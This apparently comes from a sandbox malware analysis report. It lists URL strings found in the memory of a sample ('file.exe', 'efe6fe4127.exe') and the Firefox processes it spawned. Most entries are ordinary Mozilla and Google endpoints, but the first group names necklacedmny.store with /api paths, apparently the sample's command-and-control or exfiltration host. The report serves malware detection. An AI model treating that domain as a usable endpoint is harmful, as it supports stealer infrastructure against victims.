Source: file.exe, 00000000.00000003.2173560257.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174004545.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174156627.00000000052D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/a
Source: file.exe, file.exe, 00000000.00000003.2173921284.00000000052DE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221874778.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222056225.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336173364.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2232690229.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173836992.00000000052DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221899920.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158727601.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2232447339.0000000000A7B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221768283.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, efe6fe4127.exe, 00000009.00000003.2713594540.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2834293641.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2697164287.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2698088537.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2697928533.00000000056D2000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2832811721.00000000056D2000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2648446108.0000000000B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2336173364.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api8f
Source: efe6fe4127.exe, 00000009.00000003.2832811721.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiA
Source: efe6fe4127.exe, 00000009.00000003.2713594540.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2697164287.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2698088537.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2697928533.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiu
Source: efe6fe4127.exe, 00000009.00000003.2725411254.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2832811721.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiw
Source: efe6fe4127.exe, 00000009.00000003.2725411254.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2832811721.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api~
Source: efe6fe4127.exe, 00000009.00000003.2693852054.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/bW
Source: efe6fe4127.exe, 00000009.00000003.2834778885.0000000000B82000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2831918485.0000000000B76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/mYgo3iF
Source: efe6fe4127.exe, 0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2871436723.0000000001A58000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/o
Source: file.exe, 00000000.00000003.2336454706.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/s
Source: file.exe, 00000000.00000003.2173560257.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174004545.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174156627.00000000052D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/y
Source: file.exe, 00000000.00000003.2336374803.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userABOUT_SPONSORED_TOP_SITES
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userABOUT_SPONSORED_TOP_SITEStopsites
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpresource://devtools/
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000002E.00000003.2981512771.0000020F2FD38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://svgwg.org/svg2-draft/struct.html#SymbolNotes:
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002E.00000003.2995577212.0000020F30A5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993870594.0000020F30A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000002E.00000003.3019945426.0000020F30AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000002E.00000003.3053296794.0000020F385DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3057332282.0000020F38638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3057057500.0000020F38627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056466204.0000020F30A8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000002E.00000003.3056466204.0000020F30A8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search#didSettingsMetaDataUpdate
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000003.2193511222.000000000530D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2680343152.0000000005725000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2846546783.00000000061EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2193511222.000000000530D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2680343152.0000000005725000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
